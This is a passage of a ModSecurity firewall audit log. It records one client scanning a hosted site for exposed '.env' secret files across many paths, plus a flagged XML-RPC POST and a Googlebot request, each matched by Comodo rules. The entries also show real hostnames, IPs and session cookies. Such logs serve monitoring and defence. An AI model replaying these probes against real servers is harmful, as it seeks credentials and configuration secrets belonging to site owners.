phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/secure/.env.prod"] [unique_id "aE9zJYkQyF8-ounHsxsFNQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037285586959 702833 (- - -) Stopwatch2: 1750037285586959 702833; combined=2545, p1=526, p2=1929, p3=0, p4=0, p5=89, sr=123, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --799a824b-Z-- --29ba9436-A-- [16/Jun/2025:06:58:07.205825 +0530] aE9zJ-hCUAahT1nBjTYNogAAAAM 54.206.199.238 34894 127.0.0.1 7081 --29ba9436-B-- GET /core/.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --29ba9436-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --29ba9436-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/core/.env"] [unique_id "aE9zJ-hCUAahT1nBjTYNogAAAAM"] Stopwatch: 1750037287127383 78508 (- - -) Stopwatch2: 1750037287127383 78508; combined=152653, p1=366, p2=1373, p3=0, p4=0, p5=75484, sr=98, sw=1, l=0, gc=75429 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --29ba9436-Z-- --34031e12-A-- [16/Jun/2025:06:58:11.203776 +0530] aE9zK7oFnONBt7jRcByULQAAAA4 54.206.199.238 42074 127.0.0.1 7081 --34031e12-B-- GET /core/app/.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --34031e12-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --34031e12-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/core/app/.env"] [unique_id "aE9zK7oFnONBt7jRcByULQAAAA4"] Stopwatch: 1750037291200913 2929 (- - -) Stopwatch2: 1750037291200913 2929; combined=1693, p1=376, p2=1263, p3=0, p4=0, p5=54, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --34031e12-Z-- --38bc3a5b-A-- [16/Jun/2025:06:58:15.911450 +0530] aE9zL4kQyF8-ounHsxsFPQAAAA8 54.206.199.238 42486 127.0.0.1 7081 --38bc3a5b-B-- GET /database/.env%20 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --38bc3a5b-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --38bc3a5b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/database/.env%20"] [unique_id "aE9zL4kQyF8-ounHsxsFPQAAAA8"] Stopwatch: 1750037295908606 2900 (- - -) Stopwatch2: 1750037295908606 2900; combined=1644, p1=387, p2=1205, p3=0, p4=0, p5=52, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --38bc3a5b-Z-- --6722c17a-A-- [16/Jun/2025:06:58:20.259808 +0530] aE9zNIkQyF8-ounHsxsFQwAAAA8 54.206.199.238 33392 127.0.0.1 7081 --6722c17a-B-- GET /system/.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --6722c17a-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --6722c17a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/system/.env"] [unique_id "aE9zNIkQyF8-ounHsxsFQwAAAA8"] Stopwatch: 1750037300256746 3118 (- - -) Stopwatch2: 1750037300256746 3118; combined=1838, p1=400, p2=1387, p3=0, p4=0, p5=51, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6722c17a-Z-- --72954d32-A-- [16/Jun/2025:06:58:25.701367 +0530] aE9zOTZ3uHeEW3BYvDO5rQAAAAA 54.206.199.238 33738 127.0.0.1 7081 --72954d32-B-- GET /config/.env%20 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --72954d32-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --72954d32-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/config/.env%20"] [unique_id "aE9zOTZ3uHeEW3BYvDO5rQAAAAA"] Stopwatch: 1750037305697707 3738 (- - -) Stopwatch2: 1750037305697707 3738; combined=2243, p1=459, p2=1712, p3=0, p4=0, p5=72, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --72954d32-Z-- --03f96039-A-- [16/Jun/2025:06:58:27.957780 +0530] aE9zOzZ3uHeEW3BYvDO5rwAAAAA 128.199.112.101 33930 127.0.0.1 7081 --03f96039-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --03f96039-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --03f96039-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9zOzZ3uHeEW3BYvDO5rwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037307022724 935114 (- - -) Stopwatch2: 1750037307022724 935114; combined=2851, p1=528, p2=1868, p3=61, p4=82, p5=194, sr=220, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --03f96039-Z-- --7819df02-A-- [16/Jun/2025:06:58:29.482477 +0530] aE9zPZ16HYQp4eDf7R1cjwAAAAI 54.206.199.238 34642 127.0.0.1 7081 --7819df02-B-- GET /assets/.env%20 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --7819df02-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --7819df02-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/assets/.env%20"] [unique_id "aE9zPZ16HYQp4eDf7R1cjwAAAAI"] Stopwatch: 1750037309478899 3667 (- - -) Stopwatch2: 1750037309478899 3667; combined=2195, p1=462, p2=1655, p3=0, p4=0, p5=78, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7819df02-Z-- --e2885528-A-- [16/Jun/2025:06:58:30.546239 +0530] aE9zPfv_9qNKLXJRkuZd3QAAAAs 66.249.72.129 34632 127.0.0.1 7081 --e2885528-B-- POST /?ob=open-bridge/events HTTP/1.0 Host: www.retaxis.com X-Real-IP: 66.249.72.129 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 376 Accept-Language: en-US Content-Type: text/plain;charset=UTF-8 Cookie: _fbp=fb.1.1750032000032.17991876015955610 Origin: https://www.retaxis.com Referer: https://www.retaxis.com/privacy-policy/ Accept: */* From: googlebot(at)googlebot.com User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.7103.113 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Accept-Encoding: gzip, deflate, br --e2885528-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.2.28 Vary: Origin,Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: https://www.retaxis.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Set-Cookie: _sfs_id=dbd4a86b40593779077e522be5781a951750037310; expires=Mon, 16 Jun 2025 02:28:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Set-Cookie: PHPSESSID=eog2po5jqqnkj7oj7p7hfk40p0; expires=Sun, 14 Sep 2025 01:28:30 GMT; Max-Age=7776000; path=/; domain=www.retaxis.com; HttpOnly; SameSite=lax Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --e2885528-E-- --e2885528-H-- Message: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.retaxis.com"] [uri "/"] [unique_id "aE9zPfv_9qNKLXJRkuZd3QAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.retaxis.com"] [uri "/index.php"] [unique_id "aE9zPfv_9qNKLXJRkuZd3QAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/retaxis.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037309461501 1084832 (- - -) Stopwatch2: 1750037309461501 1084832; combined=2497, p1=399, p2=1843, p3=99, p4=34, p5=122, sr=93, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e2885528-Z-- --38611b62-A-- [16/Jun/2025:06:58:33.829525 +0530] aE9zQboFnONBt7jRcByUQAAAAA4 54.206.199.238 34810 127.0.0.1 7081 --38611b62-B-- GET /app/.env%20 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --38611b62-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --38611b62-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/app/.env%20"] [unique_id "aE9zQboFnONBt7jRcByUQAAAAA4"] Stopwatch: 1750037313826481 3102 (- - -) Stopwatch2: 1750037313826481 3102; combined=1690, p1=365, p2=1263, p3=0, p4=0, p5=62, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --38611b62-Z-- --e6a69a42-A-- [16/Jun/2025:06:58:38.721664 +0530] aE9zRp16HYQp4eDf7R1ckwAAAAI 54.206.199.238 34978 127.0.0.1 7081 --e6a69a42-B-- GET /apps/.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --e6a69a42-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --e6a69a42-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/apps/.env"] [unique_id "aE9zRp16HYQp4eDf7R1ckwAAAAI"] Stopwatch: 1750037318718295 3428 (- - -) Stopwatch2: 1750037318718295 3428; combined=2029, p1=447, p2=1522, p3=0, p4=0, p5=59, sr=130, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e6a69a42-Z-- --3fa58c2e-A-- [16/Jun/2025:06:58:42.896978 +0530] aE9zSvv_9qNKLXJRkuZd6AAAAAs 54.206.199.238 49312 127.0.0.1 7081 --3fa58c2e-B-- GET /admin/.env%20 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --3fa58c2e-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --3fa58c2e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/admin/.env%20"] [unique_id "aE9zSvv_9qNKLXJRkuZd6AAAAAs"] Stopwatch: 1750037322893961 3084 (- - -) Stopwatch2: 1750037322893961 3084; combined=1795, p1=371, p2=1365, p3=0, p4=0, p5=59, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3fa58c2e-Z-- --5f9be222-A-- [16/Jun/2025:06:58:46.902912 +0530] aE9zTvvF1ly0gx5reNmBVwAAAAE 54.206.199.238 49514 127.0.0.1 7081 --5f9be222-B-- GET /web/.env%20 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --5f9be222-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --5f9be222-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/web/.env%20"] [unique_id "aE9zTvvF1ly0gx5reNmBVwAAAAE"] Stopwatch: 1750037326899821 3147 (- - -) Stopwatch2: 1750037326899821 3147; combined=1826, p1=372, p2=1400, p3=0, p4=0, p5=54, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5f9be222-Z-- --c731d91b-A-- [16/Jun/2025:06:58:50.464752 +0530] aE9zUp16HYQp4eDf7R1cnQAAAAI 54.206.199.238 40734 127.0.0.1 7081 --c731d91b-B-- GET /public/.env%20 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --c731d91b-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --c731d91b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/public/.env%20"] [unique_id "aE9zUp16HYQp4eDf7R1cnQAAAAI"] Stopwatch: 1750037330461860 2949 (- - -) Stopwatch2: 1750037330461860 2949; combined=1700, p1=362, p2=1287, p3=0, p4=0, p5=51, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c731d91b-Z-- --e2927835-A-- [16/Jun/2025:06:58:56.439408 +0530] aE9zWOMjvy_LHXlMeRASHAAAAAU 54.206.199.238 40964 127.0.0.1 7081 --e2927835-B-- GET /en/.env%20 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --e2927835-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --e2927835-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/en/.env%20"] [unique_id "aE9zWOMjvy_LHXlMeRASHAAAAAU"] Stopwatch: 1750037336436337 3128 (- - -) Stopwatch2: 1750037336436337 3128; combined=1840, p1=342, p2=1445, p3=0, p4=0, p5=53, sr=81, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e2927835-Z-- --42ccd255-A-- [16/Jun/2025:06:59:00.590917 +0530] aE9zXOMjvy_LHXlMeRASHgAAAAU 54.206.199.238 57164 127.0.0.1 7081 --42ccd255-B-- GET /v1/.env%20 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --42ccd255-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --42ccd255-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname 